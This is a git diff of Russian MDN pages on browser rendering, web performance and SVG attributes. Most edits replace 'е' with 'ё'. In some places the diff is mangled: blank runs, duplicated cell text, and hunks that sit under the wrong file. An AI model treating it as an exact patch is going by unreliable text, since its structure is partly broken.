            Первый шаг навигации к странице - это поиск места, откуда нужно запрашивать данные. Если вы переходите на https://example.com, браузер грузит HTML-код страницы с IP-адреса 93.184.216.34. Если вы никогда ранее не были на этом сайте, произойдёт поиск DNS записи.
            
 
 
            Ваш браузер запрашивает DNS запись. Как правило, запрос содержит имя сервера, который должен быть преобразован в IP-адрес. Ответ на этот запрос какое-то время будет сохранён в кэше устройства, чтобы его можно было быстро получить при следующем запросе к тому же серверу.
            
 
-
            DNS запрос обычно требуется совершить лишь единожды при загрузке страницы. Однако, DNS запросы должны быть выполнены для каждого уникального имени хоста, который запрашивается страницей. Скажем, если ваши шрифты, картинки, скрипты, реклама или счетчики аналитики находятся на разных доменах, DNS запрос будет осуществлен для каждого из них.
            
+
            DNS запрос обычно требуется совершить лишь единожды при загрузке страницы. Однако, DNS запросы должны быть выполнены для каждого уникального имени хоста, который запрашивается страницей. Скажем, если ваши шрифты, картинки, скрипты, реклама или счётчики аналитики находятся на разных доменах, DNS запрос будет осуществлён для каждого из них.
            
 
 
            Mobile requests go first to the cell tower, then to a central phone company computer before being sent to the internet
            
 
@@ -93,7 +93,7 @@ translation_of: Web/Performance/How_browsers_work
 
 
            Объём первого пакета данных - всегда 14KB. Это часть спецификации {{glossary('TCP slow start')}} - алгоритма, который балансирует скорость соединения. Такое правило позволяет постепенно, по мере необходимости, увеличивать размеры передаваемых данных, пока не будет определена максимальная ширина канала.
            
 
-
            В алгоритме {{glossary('TCP slow start')}} каждый следующий отправленный сервером пакет увеличивается в размере в два раза. Например, размер второго пакета будет около 28КБ. Размер пакетов будет увеличиваться до тех пор, пока не достигнет какого-то порогового значения или не упрется в проблему переполнения.
            
+
            В алгоритме {{glossary('TCP slow start')}} каждый следующий отправленный сервером пакет увеличивается в размере в два раза. Например, размер второго пакета будет около 28КБ. Размер пакетов будет увеличиваться до тех пор, пока не достигнет какого-то порогового значения или не упрётся в проблему переполнения.
            
 
 
            TCP slow start
            
 
@@ -101,7 +101,7 @@ translation_of: Web/Performance/How_browsers_work
 
 
            Контроль переполнения
            
 
-
            Любое соединение имеет ограничения, связанные с аппаратной и сетевой системами. Если сервер отправит слишком много пакетов за раз - они могут быть отброшены. Для того, чтобы избежать таких проблем, браузер должен реагировать на получение пакетов и подтверждать, что он получает их. Такой ответ-подтверждение называется Aknowledgements (ACK). Если из-за ограничений соединения браузер не получит данных, то он не пошлёт подтверждений ACK. В этом случае, сервер зарегистрирует, что какие-то пакет не дошли и пошлёт их заново, что приведет к лишней работе сервера и дополнительной нагрузке сети.
            
+
            Любое соединение имеет ограничения, связанные с аппаратной и сетевой системами. Если сервер отправит слишком много пакетов за раз - они могут быть отброшены. Для того, чтобы избежать таких проблем, браузер должен реагировать на получение пакетов и подтверждать, что он получает их. Такой ответ-подтверждение называется Aknowledgements (ACK). Если из-за ограничений соединения браузер не получит данных, то он не пошлёт подтверждений ACK. В этом случае, сервер зарегистрирует, что какие-то пакет не дошли и пошлёт их заново, что приведёт к лишней работе сервера и дополнительной нагрузке сети.
            
 
 
            Парсинг
            
 
@@ -121,11 +121,11 @@ translation_of: Web/Performance/How_browsers_work
 
 
            The DOM tree for our sample code, showing all the nodes, including text nodes.
            
 
-
            Когда парсер находит неблокирующие ресурсы (например, изображения), браузер отправляет запрос на загрузку ресурсов, но сам продолжает обработку. Обработка может продолжаться когда обнаружена ссылка на CSS файл, но если обнаружен <script>, особенно если он без параметров async или defer - такой скрипт считается блокирующим и приостанавливает обработку HTML до завершения загрузки скрипта. Несмотря на то, что сканер предзагрузки (о нём ниже) браузера может находить и запрашивать такие скрипты заранее, сложные и объемные скрипты всё ещё могут стать причиной заметных задержек загрузки страницы.
            
+
            Когда парсер находит неблокирующие ресурсы (например, изображения), браузер отправляет запрос на загрузку ресурсов, но сам продолжает обработку. Обработка может продолжаться когда обнаружена ссылка на CSS файл, но если обнаружен <script>, особенно если он без параметров async или defer - такой скрипт считается блокирующим и приостанавливает обработку HTML до завершения загрузки скрипта. Несмотря на то, что сканер предзагрузки (о нём ниже) браузера может находить и запрашивать такие скрипты заранее, сложные и объёмные скрипты всё ещё могут стать причиной заметных задержек загрузки страницы.
            
 
 
            Сканер предзагрузки
            
 
-
            Построение дерева DOM занимает весь поток процесса. Так как это явно узкое место в производительности, был создан особый сканер предзагрузки. Он обрабатывает доступное содержимое документа и запрашивает высокоприоритетные ресурсы (CSS, JavaScript и шрифты). Благодаря этому сканеру нам не нужно ждать, пока парсер дойдет до конкретного места, где вызывается ресурс. Он запрашивает и получает эти данные заранее, в фоновом режиме, так что когда основной поток HTML-парсера доходит до запроса ресурса, высока вероятность, что ресурс уже запрошен или находится в процессе загрузки. Оптимизации, которые даёт этот сканер, уменьшают время блокирования рендера.
            
+
            Построение дерева DOM занимает весь поток процесса. Так как это явно узкое место в производительности, был создан особый сканер предзагрузки. Он обрабатывает доступное содержимое документа и запрашивает высокоприоритетные ресурсы (CSS, JavaScript и шрифты). Благодаря этому сканеру нам не нужно ждать, пока парсер дойдёт до конкретного места, где вызывается ресурс. Он запрашивает и получает эти данные заранее, в фоновом режиме, так что когда основной поток HTML-парсера доходит до запроса ресурса, высока вероятность, что ресурс уже запрошен или находится в процессе загрузки. Оптимизации, которые даёт этот сканер, уменьшают время блокирования рендера.
            
 
 
            <link rel="stylesheet" src="styles.css"/>
 <script src="myscript.js" async></script>
@@ -141,7 +141,7 @@ translation_of: Web/Performance/How_browsers_work
 
 
            Построение модели стилей CSSOM
            
 
-
            Второй шаг при прохождении критического пути рендеринга - это обработка CSS и построение CSSOM дерева. CSSOM (объектная модель CSS) похожа на DOM. И DOM, и CSSOM - это деревья. Они являются независимыми структурами данных. Браузер преобразует CSS файлы в карту стилей, которую он может понять и с которой может работать. Браузер считывает каждый набор правил в CSS, создает дерево узлов с родителями, детьми и соседями, основываясь на CSS селекторах.
            
+
            Второй шаг при прохождении критического пути рендеринга - это обработка CSS и построение CSSOM дерева. CSSOM (объектная модель CSS) похожа на DOM. И DOM, и CSSOM - это деревья. Они являются независимыми структурами данных. Браузер преобразует CSS файлы в карту стилей, которую он может понять и с которой может работать. Браузер считывает каждый набор правил в CSS, создаёт дерево узлов с родителями, детьми и соседями, основываясь на CSS селекторах.
            
 
 
            Как и в HTML, браузер должен преобразовать полученные правила CSS во что-то, с чем он может работать. Таким образом, весь этот процесс - это повторение формирования DOM, только для CSS.
            
 
@@ -169,9 +169,9 @@ translation_of: Web/Performance/How_browsers_work
 
 
            Третий шаг в критическом пути рендеринга - это комбинирование DOM и CSSOM в дерево рендеринга. Конструирование этого дерева начинается с прохода всего DOM-дерева от корня, с выявлением каждого видимого узла.
            
 
-
            Элементы, которые не должны быть показаны, например, <head>, а так же их дети или любые элементы с display:none, такие как script { display: none; }, не будут включены в дерево рендера, так как они не должны быть отрисованы. Узлы с правилом visibility: hidden включены в дерево рендера, так как они все равно занимают своё место. Так как мы не указали никаких специальных правил для перезаписи стилей агента по умолчанию, узел script в примере выше также не будет включен в дерево рендера.
            
+
            Элементы, которые не должны быть показаны, например, <head>, а так же их дети или любые элементы с display:none, такие как script { display: none; }, не будут включены в дерево рендера, так как они не должны быть отрисованы. Узлы с правилом visibility: hidden включены в дерево рендера, так как они все равно занимают своё место. Так как мы не указали никаких специальных правил для перезаписи стилей агента по умолчанию, узел script в примере выше также не будет включён в дерево рендера.
            
 
-
            Каждый видимый узел имеет свои правила из CSSOM. Дерево рендера содержит все видимые узлы с их содержимым и вычисленными стилями. Стили определяются путем применения всех подходящих правил с использованием CSS каскада.
            
+
            Каждый видимый узел имеет свои правила из CSSOM. Дерево рендера содержит все видимые узлы с их содержимым и вычисленными стилями. Стили определяются путём применения всех подходящих правил с использованием CSS каскада.
            
 
 
            Компоновка (Layout)
            
 
@@ -181,7 +181,7 @@ translation_of: Web/Performance/How_browsers_work
 
 
            На веб-странице практически все элементы прямоугольны (box). Разные устройства и настройки подразумевают бесчисленное количество разных размеров видимой области. На начальной фазе браузер, учитывая размер видимой области, определяет какие размеры разных элементов должны быть на экране. Использует размер видимой области как базис, процесс начинает вычисление с элемента body, затем переходит к его потомкам, вычисляет размеры каждого элемента и резервирует место для тех элементов, размеры которых он ещё не знает (например, изображения).
            
 
-
            Момент, когда позиция и размеры узлов вычислены, называется layout. Последующие вычисления позиций и размеров называются reflow. В нашем примере предполагаемый начальный layout происходит перед тем, как изображение получено. Так как мы не задавали размер изображения, в момент получения изображения произойдет reflow.
            
+
            Момент, когда позиция и размеры узлов вычислены, называется layout. Последующие вычисления позиций и размеров называются reflow. В нашем примере предполагаемый начальный layout происходит перед тем, как изображение получено. Так как мы не задавали размер изображения, в момент получения изображения произойдёт reflow.
            
 
 
            Отрисовка (Paint)
            
 
@@ -189,7 +189,7 @@ translation_of: Web/Performance/How_browsers_work
 
 
            Чтобы обеспечить плавную прокрутку и анимацию, отрисовка каждого элемента занимает весь основной поток. Сюда включается вычисление стилей, повторное вычисление стилей и отрисовка. Все эти этапы должны выполняться не дольше 16.67 мс. (1000мс. / 60 кадров в секунду). При разрешении 2048х1536 экран iPad содержит 3.145.000 пикселей, которые должны быть отрисованы. Это много! Для того, чтобы сделать инициирующую и повторную отрисовки быстрее, можно разбить весь процесс на несколько слоёв. Когда это случается - становится необходима композиция.
            
 
-
            Отрисовка может разбить элементы в дереве рендера на слои. Для того, чтобы ускорить их рендер, браузер может перенести отрисовку разных слоев на GPU (вместо основного потока CPU). Для переноса вычислений отрисовки на GPU вы можете использовать некоторые специальные HTML теги, например <video> и <canvas>; а также CSS-свойства opacity, transform и will-change. Узлы, созданные таким образом, будут отрисованы на их собственном слое, вместе с их потомками, если только потомки сами по себе не будут вынесены в отдельные слои.
            
+
            Отрисовка может разбить элементы в дереве рендера на слои. Для того, чтобы ускорить их рендер, браузер может перенести отрисовку разных слоёв на GPU (вместо основного потока CPU). Для переноса вычислений отрисовки на GPU вы можете использовать некоторые специальные HTML теги, например <video> и <canvas>; а также CSS-свойства opacity, transform и will-change. Узлы, созданные таким образом, будут отрисованы на их собственном слое, вместе с их потомками, если только потомки сами по себе не будут вынесены в отдельные слои.
            
 
 
            Слои улучшают производительность. Но, с точки зрения управления памяти, они неэффективны. Поэтому старайтесь не использовать их там, где в нет необходимости.
            
 
diff --git a/files/ru/web/performance/how_long_is_too_long/index.html b/files/ru/web/performance/how_long_is_too_long/index.html
index 37a17d18e9..e53c2f96a4 100644
--- a/files/ru/web/performance/how_long_is_too_long/index.html
+++ b/files/ru/web/performance/how_long_is_too_long/index.html
@@ -13,7 +13,7 @@ translation_of: Web/Performance/How_long_is_too_long
 
 
            Загрузка контента
            
 
-
            Понятие "до секунды" часто считается оптимальным для загрузки. Но что это означает? Правило секунды должно рассматриваться как правило максимального времени, за которое пользователь поймет, что запрос был отправлен и будет загружен. Например, когда браузер принимает заголовок страницы или фоновый цвет и показывает её пользователю.
            
+
            Понятие "до секунды" часто считается оптимальным для загрузки. Но что это означает? Правило секунды должно рассматриваться как правило максимального времени, за которое пользователь поймёт, что запрос был отправлен и будет загружен. Например, когда браузер принимает заголовок страницы или фоновый цвет и показывает её пользователю.
            
 
 
            Как правило, первый ресурс, который получает клиент - это HTML документ, который затем делает запрос на загрузку остальных ресурсов. Как было подмечено в статье о критическом пути рендеринга - как только браузер получает данные, он сразу начинает их обработку, вместо того, чтобы дожидаться загрузки всех ресурсов.
            
 
@@ -27,7 +27,7 @@ translation_of: Web/Performance/How_long_is_too_long
 
 
            Анимация
            
 
-
            Для того, чтобы прокрутка и другие анимации выглядели плавно, контент страницы должен обновляться с частотой 60 кадров в секунду (60 fps), то есть один кадр раз в 16.7мс. В эти 16.7мс. должны входить выполнение скриптов, компоновка и отрисовка. Делайте приложение таким, чтобы приложение могло использовать 6мс на отрисовку контента, а в остальные 10мс могло заниматься оставшимися вычислениями. Любая другая частота кадров, особенно если она отрывистая и непостоянная, создает впечатление зависающего приложения.
            
+
            Для того, чтобы прокрутка и другие анимации выглядели плавно, контент страницы должен обновляться с частотой 60 кадров в секунду (60 fps), то есть один кадр раз в 16.7мс. В эти 16.7мс. должны входить выполнение скриптов, компоновка и отрисовка. Делайте приложение таким, чтобы приложение могло использовать 6мс на отрисовку контента, а в остальные 10мс могло заниматься оставшимися вычислениями. Любая другая частота кадров, особенно если она отрывистая и непостоянная, создаёт впечатление зависающего приложения.
            
 
 
            Отзывчивость
            
 
diff --git a/files/ru/web/performance/index.html b/files/ru/web/performance/index.html
index 82f34d4d7a..5eb18aa302 100644
--- a/files/ru/web/performance/index.html
+++ b/files/ru/web/performance/index.html
@@ -19,9 +19,9 @@ tags:
   - Web Performance
 translation_of: Web/Performance
 ---
-
            Производительность в web - это объективные измерения и пользовательские ощущения, связанные с загрузкой и работой приложения. Производительность - это о том, как долго сайт грузится, становится интерактивным и отзывчивым, о том, как плавно происходит взаимодействие с контентом. Плавный ли скролл страницы? Все ли кнопки кликабельны? Всплывающие окна загружаются и показываются быстро? А анимируются? Хорошая производительность требует учета всех аспектов: как объективных, например, фактическое время загрузки страницы или частота смены кадров; так и субъективных - в буквальном смысле "как пользователь воспринимает систему".
            
+
            Производительность в web - это объективные измерения и пользовательские ощущения, связанные с загрузкой и работой приложения. Производительность - это о том, как долго сайт грузится, становится интерактивным и отзывчивым, о том, как плавно происходит взаимодействие с контентом. Плавный ли скролл страницы? Все ли кнопки кликабельны? Всплывающие окна загружаются и показываются быстро? А анимируются? Хорошая производительность требует учёта всех аспектов: как объективных, например, фактическое время загрузки страницы или частота смены кадров; так и субъективных - в буквальном смысле "как пользователь воспринимает систему".
            
 
-
            Чем дольше загружается ваше приложение, тем больше пользователей решаются избавиться от него. Очень важно уменьшать время загрузки приложения, а так же промежутка времени, за которое оно становится интерактивным. Но в то же время, важно добавлять в приложение новые возможности, которые уменьшают время отклика и делают приложение интерактивным за счет неочевидных хитростей, например, за счет асинхронной загрузки данных, которые не понадобятся пользователю "здесь и сейчас". 
            
+
            Чем дольше загружается ваше приложение, тем больше пользователей решаются избавиться от него. Очень важно уменьшать время загрузки приложения, а так же промежутка времени, за которое оно становится интерактивным. Но в то же время, важно добавлять в приложение новые возможности, которые уменьшают время отклика и делают приложение интерактивным за счёт неочевидных хитростей, например, за счёт асинхронной загрузки данных, которые не понадобятся пользователю "здесь и сейчас". 
            
 
 
            Существуют инструменты измерения производительности, API и лучшие практики, которые помогут нам измерять и улучшать производительность. Мы постараемся раскрыть их в следующей секции:
            
 
diff --git a/files/ru/web/performance/navigation_and_resource_timings/index.html b/files/ru/web/performance/navigation_and_resource_timings/index.html
index 2fc612aca0..3dbae7164f 100644
--- a/files/ru/web/performance/navigation_and_resource_timings/index.html
+++ b/files/ru/web/performance/navigation_and_resource_timings/index.html
@@ -76,12 +76,12 @@ translation_of: Web/Performance/Navigation_and_resource_timings
   
            
    {{domxref("PerformanceTiming.domainLookupEnd","domainLookupEnd")}}
    
-    
            Поиск домена завершён. Если используется постоянное соединение, или используются данные, сохраненные в локальном кэше, то значение показателя будет таким же, как и PerformanceTiming.fetchStart.
            
+    
            Поиск домена завершён. Если используется постоянное соединение, или используются данные, сохранённые в локальном кэше, то значение показателя будет таким же, как и PerformanceTiming.fetchStart.
            
                		
   
            
   
            
    {{domxref("PerformanceTiming.domainLookupStart","domainLookupStart")}}Начался поиск домена. Если используется постоянное соединение, или используются данные, сохраненные в локальном кэше, то значение показателя будет таким же, как и PerformanceTiming.fetchStart.Начался поиск домена. Если используется постоянное соединение, или используются данные, сохранённые в локальном кэше, то значение показателя будет таким же, как и PerformanceTiming.fetchStart.
   
            
   
            
    {{domxref("PerformanceTiming.fetchStart","fetchStart")}}
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
            
 
            
 
-
            Сноска: Точка происхождения (координата 0,0) обычно является верхним левым углом контекста. Однако элемент {{SVGElement("glyph")}} имеет свое происхождение в левом нижнем углу своего бокса.
            
+
            Сноска: Точка происхождения (координата 0,0) обычно является верхним левым углом контекста. Однако элемент {{SVGElement("glyph")}} имеет своё происхождение в левом нижнем углу своего бокса.
            
 
 
            missing-glyph
            
 
@@ -122,9 +122,9 @@ translation_of: Web/SVG/Attribute/d
 
 
            (MoveTo path commands)
            
 
-
            MoveTo инструкции можно рассматривать как собирание чертежного инструмента и установку его в другом месте. Между предыдущей точкой и указанной точкой нет линии.
            
+
            MoveTo инструкции можно рассматривать как собирание чертёжного инструмента и установку его в другом месте. Между предыдущей точкой и указанной точкой нет линии.
            
 
-
            Заметка: Хорошей практикой является открытие всех путей с помощью команды moveto, потому что без начального moveto команды будут выполняться с начальной точки, где бы это ни было ранее, что может привести к неопределенному поведению.
            
+
            Заметка: Хорошей практикой является открытие всех путей с помощью команды moveto, потому что без начального moveto команды будут выполняться с начальной точки, где бы это ни было ранее, что может привести к неопределённому поведению.
            
 
 
@@ -188,7 +188,7 @@ translation_of: Web/SVG/Attribute/d
    
diff --git a/files/ru/web/svg/attribute/dur/index.html b/files/ru/web/svg/attribute/dur/index.html
index 7c28a1e8cc..9cd47365ff 100644
--- a/files/ru/web/svg/attribute/dur/index.html
+++ b/files/ru/web/svg/attribute/dur/index.html
@@ -54,7 +54,7 @@ translation_of: Web/SVG/Attribute/dur
 
 
            
  
            <clock-value>
            
- 
            Задает длину простой длительности. Значение должно быть больше 0. Это значение может быть выражено в часах (h), минутах (m), секундах (s) или миллисекундах (ms). Это позволяет объединить такое представление времени для предоставления некоторых сложных длительностей, таких как: hh:mm:ss.iii или  mm:ss.iii
            
+ 
            Задаёт длину простой длительности. Значение должно быть больше 0. Это значение может быть выражено в часах (h), минутах (m), секундах (s) или миллисекундах (ms). Это позволяет объединить такое представление времени для предоставления некоторых сложных длительностей, таких как: hh:mm:ss.iii или  mm:ss.iii
            
  
            media
            
  
            Задаёт простую длительность, как длительность, свойственной медиа. Это валидно только для элементов, которые определяют media.
            
  
            indefinite
            
@@ -63,7 +63,7 @@ translation_of: Web/SVG/Attribute/dur
 
            
-
            Примечание: Интерполяция не будет работать, если простая длительность остается неопределенной (хотя это может быть полезно для элементов {{ SVGElement("set") }}).
            
+
            Примечание: Интерполяция не будет работать, если простая длительность остаётся неопределённой (хотя это может быть полезно для элементов {{ SVGElement("set") }}).
            
 
            Спецификации
            
diff --git a/files/ru/web/svg/attribute/end/index.html b/files/ru/web/svg/attribute/end/index.html
index c4db1e943f..8b0b8d3003 100644
--- a/files/ru/web/svg/attribute/end/index.html
+++ b/files/ru/web/svg/attribute/end/index.html
@@ -7,7 +7,7 @@ translation_of: Web/SVG/Attribute/end
 
 
            Этот атрибут определяет конечное значение для анимации, которое может ограничить активную длительность.
            
 
-
            Значение атрибута представляет собой разделенный точками с запятой список значений. Каждое отдельное значение может совпадать с типом, определенным для {{ SVGAttr("begin") }} атрибута .
            
+
            Значение атрибута представляет собой разделённый точками с запятой список значений. Каждое отдельное значение может совпадать с типом, определённым для {{ SVGAttr("begin") }} атрибута .
            Usage context
            
 
@@ -32,7 +32,7 @@ translation_of: Web/SVG/Attribute/end
  
            
  
            L
    (x, y)+
    
-    
            Рисует линию из текущей точки в конечную точку определенную x,y. Любая последующая пара(ы) координат интерпретируется как параметр(ы) для неявной абсолютной команд(ы) LineTo (L). Формула: Po' = Pn = {x, y}
            
+    
            Рисует линию из текущей точки в конечную точку определённую x,y. Любая последующая пара(ы) координат интерпретируется как параметр(ы) для неявной абсолютной команд(ы) LineTo (L). Формула: Po' = Pn = {x, y}
            
                		
   
            
   
            
 
 
 
 
 
 
            
 
            
 
-
            Для типов значений, разрешенных в, <end-value-list> см.  {{ SVGAttr("begin") }} атрибут.
            
+
            Для типов значений, разрешённых в, <end-value-list> см.  {{ SVGAttr("begin") }} атрибут.
            
 
 
            Examples
            
 
diff --git a/files/ru/web/svg/attribute/fill-rule/index.html b/files/ru/web/svg/attribute/fill-rule/index.html
index d83dad58c3..b7c3a793e0 100644
--- a/files/ru/web/svg/attribute/fill-rule/index.html
+++ b/files/ru/web/svg/attribute/fill-rule/index.html
@@ -9,7 +9,7 @@ translation_of: Web/SVG/Attribute/fill-rule
 
 
            Note: Атрибут представления, fill-rule может быть использован как CSS свойство.
            
 
-
            Как атрибут представления, он может быть применен к следующим восьми элементам:: {{SVGElement('altGlyph')}}, {{SVGElement('path')}}, {{SVGElement('polygon')}}, {{SVGElement('polyline')}}, {{SVGElement('text')}}, {{SVGElement('textPath')}}, {{SVGElement('tref')}}, and {{SVGElement('tspan')}}
            
+
            Как атрибут представления, он может быть применён к следующим восьми элементам:: {{SVGElement('altGlyph')}}, {{SVGElement('path')}}, {{SVGElement('polygon')}}, {{SVGElement('polyline')}}, {{SVGElement('text')}}, {{SVGElement('textPath')}}, {{SVGElement('tref')}}, and {{SVGElement('tspan')}}
            
 
 
            
 
          
 
 
          Предостережения
          
diff --git a/files/ru/web/svg/attribute/id/index.html b/files/ru/web/svg/attribute/id/index.html
index 54590a4cd4..a8071bb93f 100644
--- a/files/ru/web/svg/attribute/id/index.html
+++ b/files/ru/web/svg/attribute/id/index.html
@@ -51,7 +51,7 @@ translation_of: Web/SVG/Attribute/id
 
          
  
          <id>
          
  
          
- 
          Задает идентификатор элемента. Идентификатор должен быть уникальным в пределах дерева узлов, не должен быть пустой строкой и не должен содержать  никаких пробелов.
          
+ 
          Задаёт идентификатор элемента. Идентификатор должен быть уникальным в пределах дерева узлов, не должен быть пустой строкой и не должен содержать  никаких пробелов.
          
 
  
          
  
          Примечание: Следует избегать использование значений идентификатора, которые будут анализироваться как спецификация представления SVG (например, MyDrawing.svg#svgView(viewBox(0,200,1000,1000))) или базовый фрагмент мультимедиа при использовании в качестве целевого фрагмента URL.
          
diff --git a/files/ru/web/svg/attribute/index.html b/files/ru/web/svg/attribute/index.html
index 7d05b490e8..390328c17f 100644
--- a/files/ru/web/svg/attribute/index.html
+++ b/files/ru/web/svg/attribute/index.html
@@ -12,7 +12,7 @@ translation_of: Web/SVG/Attribute
 ---
 
          « SVG / Справочник SVG элементов »
          
 
-
          Элементы SVG можно изменять с помощью атрибутов, которые задают подробные сведения о том, каким образом элемент должен обрабатываться или визуализироваться. Ниже приведен список всех атрибутов, доступных в SVG, а также ссылки на справочную документацию, помогающие узнать, какие элементы поддерживают их и как они работают.
          
+
          Элементы SVG можно изменять с помощью атрибутов, которые задают подробные сведения о том, каким образом элемент должен обрабатываться или визуализироваться. Ниже приведён список всех атрибутов, доступных в SVG, а также ссылки на справочную документацию, помогающие узнать, какие элементы поддерживают их и как они работают.
          
 
 
          SVG Атрибуты от А до Я
          
 
diff --git a/files/ru/web/svg/attribute/keytimes/index.html b/files/ru/web/svg/attribute/keytimes/index.html
index d1db1c495f..cd7f423869 100644
--- a/files/ru/web/svg/attribute/keytimes/index.html
+++ b/files/ru/web/svg/attribute/keytimes/index.html
@@ -5,7 +5,7 @@ translation_of: Web/SVG/Attribute/keyTimes
 ---
 
          « SVG Attribute reference home
          
 
-
          Атрибут keyTimes представляет собой разделенный точками с запятой список значений времени, используемых для управления темпами анимации. Каждое значение в списке соответствует значению в списке атрибутов {{ SVGAttr("values") }} и определяет, когда оно используется в анимации. Каждое значение времени в списке keyTimes задается как значение с плавающей запятой от 0 до 1 (включительно), представляющее пропорциональную величину смещения в течение элемента анимации.
          
+
          Атрибут keyTimes представляет собой разделённый точками с запятой список значений времени, используемых для управления темпами анимации. Каждое значение в списке соответствует значению в списке атрибутов {{ SVGAttr("values") }} и определяет, когда оно используется в анимации. Каждое значение времени в списке keyTimes задаётся как значение с плавающей запятой от 0 до 1 (включительно), представляющее пропорциональную величину смещения в течение элемента анимации.
          
 
 
          Если указан список keyTimes, то в списке keyTimes должно быть ровно столько же значений, сколько в списке {{ SVGAttr("values") }} .
          
 
@@ -14,8 +14,8 @@ translation_of: Web/SVG/Attribute/keyTimes
 
          Семантика списка keyTimes зависит от режима интерполяции:
          
 
 
            
- 
          • Для линейной и сплайновой анимации первое значение времени в списке должно быть равно 0, а Последнее значение времени в списке должно быть 1. Ключевое время, связанное с каждым значением, определяет, когда значение задается; значения являются интерполяцией между ключевыми моментами.
            • 
- 
          • Для дискретной анимации первое значение времени в списке должно быть равно 0. Время, связанное с каждым значением, определяет, когда значение задается; Функция анимации использует это значение до следующего времени, определенного в keyTimes.
            • 
+ 
          • Для линейной и сплайновой анимации первое значение времени в списке должно быть равно 0, а Последнее значение времени в списке должно быть 1. Ключевое время, связанное с каждым значением, определяет, когда значение задаётся; значения являются интерполяцией между ключевыми моментами.
            • 
+ 
          • Для дискретной анимации первое значение времени в списке должно быть равно 0. Время, связанное с каждым значением, определяет, когда значение задаётся; Функция анимации использует это значение до следующего времени, определённого в keyTimes.
            • 
 
          
 
 
          Если в качестве режима интерполяции используется paced, атрибут keyTimes игнорируется.
          
diff --git a/files/ru/web/svg/attribute/lang/index.html b/files/ru/web/svg/attribute/lang/index.html
index 86317240f1..88fbec8090 100644
--- a/files/ru/web/svg/attribute/lang/index.html
+++ b/files/ru/web/svg/attribute/lang/index.html
@@ -7,11 +7,11 @@ translation_of: Web/SVG/Attribute/lang
 ---
 
          {{SVGRef}}
          
 
-
          Атрибут lang указывает основной язык, используемый в содержимом, и атрибуты, содержащие текстовое содержимое определенных элементов.
          
+
          Атрибут lang указывает основной язык, используемый в содержимом, и атрибуты, содержащие текстовое содержимое определённых элементов.
          
 
-
          Также существует атрибут {{SVGAttr("xml:lang")}} (с пространством имен). Если определены оба атрибута, то используется тот, который имеет пространство имен, а атрибут без пространства имен игнорируется.
          
+
          Также существует атрибут {{SVGAttr("xml:lang")}} (с пространством имён). Если определены оба атрибута, то используется тот, который имеет пространство имён, а атрибут без пространства имён игнорируется.
          
 
-
          В SVG 1.1 существовал атрибут lang, определенный с другим значением и применимый только к {{SVGElement("glyph")}}. Этот атрибут указывал список языков в формате BCP 47. Глиф предназначался для использования, если атрибут xml:lang точно соответствует одному из языков, указанных в значении этого параметра, или если атрибут xml:lang точно соответствует префиксу одного из языков, указанных в значении этого параметра. Таким образом, первый символ тега, следующий за префиксом, был "-".
          
+
          В SVG 1.1 существовал атрибут lang, определённый с другим значением и применимый только к {{SVGElement("glyph")}}. Этот атрибут указывал список языков в формате BCP 47. Глиф предназначался для использования, если атрибут xml:lang точно соответствует одному из языков, указанных в значении этого параметра, или если атрибут xml:lang точно соответствует префиксу одного из языков, указанных в значении этого параметра. Таким образом, первый символ тега, следующий за префиксом, был "-".
          
 
 
          Все элементы используют этот атрибут.
          
 
@@ -43,9 +43,9 @@ translation_of: Web/SVG/Attribute/lang
 
          
  
          <language-tag>
          
  
          
- 
          Это значение указывает язык, используемый для элемента. Синтаксис этого значения определен в спецификации BCP 47.
          
+ 
          Это значение указывает язык, используемый для элемента. Синтаксис этого значения определён в спецификации BCP 47.
          
 
- 
          Наиболее распространенным синтаксисом является значение, состоящее из двухсимвольной части нижнего регистра языка и двухсимвольной части верхнего регистра для региона или страны, разделенных знаком минус. Например, en-US для американского английского языка или de-AT для австрийского немецкого.
          
+ 
          Наиболее распространённым синтаксисом является значение, состоящее из двухсимвольной части нижнего регистра языка и двухсимвольной части верхнего регистра для региона или страны, разделённых знаком минус. Например, en-US для американского английского языка или de-AT для австрийского немецкого.
          
  
          
 
          
 
@@ -63,7 +63,7 @@ translation_of: Web/SVG/Attribute/lang
   
    {{SpecName("SVG2", "struct.html#LangAttribute", "lang")}}
    {{Spec2("SVG2")}}
-   Сделал атрибут {{SVGAttr("lang")}} (без пространства имен) доступным для всех элементов и определил взаимодействие между ними.
+   Сделал атрибут {{SVGAttr("lang")}} (без пространства имён) доступным для всех элементов и определил взаимодействие между ними.
   
   
    {{SpecName("SVG1.1", "fonts.html#GlyphElementLangAttribute", "lang")}}
diff --git a/files/ru/web/svg/attribute/patterncontentunits/index.html b/files/ru/web/svg/attribute/patterncontentunits/index.html
index 5a9258a1f4..82030dbd1b 100644
--- a/files/ru/web/svg/attribute/patterncontentunits/index.html
+++ b/files/ru/web/svg/attribute/patterncontentunits/index.html
@@ -5,11 +5,11 @@ translation_of: Web/SVG/Attribute/patternContentUnits
 ---
 
          « SVG Attribute reference home
          
 
-
          Атрибут patternContentUnits определяет систему координат для содержимого {{ SVGElement("pattern") }}. Заметьте, что этот атрибут не имеет эффекта, если {{ SVGAttr("viewBox") }} определен на {{ SVGElement("pattern") }} элементе.
          
+
          Атрибут patternContentUnits определяет систему координат для содержимого {{ SVGElement("pattern") }}. Заметьте, что этот атрибут не имеет эффекта, если {{ SVGAttr("viewBox") }} определён на {{ SVGElement("pattern") }} элементе.
          
 
-
          Если patternContentUnits атрибут не определен, то его значение предполагается равным userSpaceOnUse.
          
+
          Если patternContentUnits атрибут не определён, то его значение предполагается равным userSpaceOnUse.
          
 
-
          Заметьте, что значение {{ SVGElement("pattern") }} не имеет влияния на заданные в процентах атрибуты контента . Это означает, что, если вы задаете значение patternContentUnits равным objectBoundingBox, значения, указанные в процентах, будут пересчитаны, как если бы вы задали userSpaceOnUse.
          
+
          Заметьте, что значение {{ SVGElement("pattern") }} не имеет влияния на заданные в процентах атрибуты контента . Это означает, что, если вы задаёте значение patternContentUnits равным objectBoundingBox, значения, указанные в процентах, будут пересчитаны, как если бы вы задали userSpaceOnUse.
          
 
 
          Контекст использования
          
 
@@ -45,7 +45,7 @@ translation_of: Web/SVG/Attribute/patternContentUnits
 
 
          Элементы
          
 
-
          Атрибут patternContentUnits может быть определен на следующих элементах:
          
+
          Атрибут patternContentUnits может быть определён на следующих элементах:
          
 
 
            
  
          • {{ SVGElement("pattern") }}
            • 
diff --git a/files/ru/web/svg/attribute/r/index.html b/files/ru/web/svg/attribute/r/index.html
index 1f92d75024..5114420ac3 100644
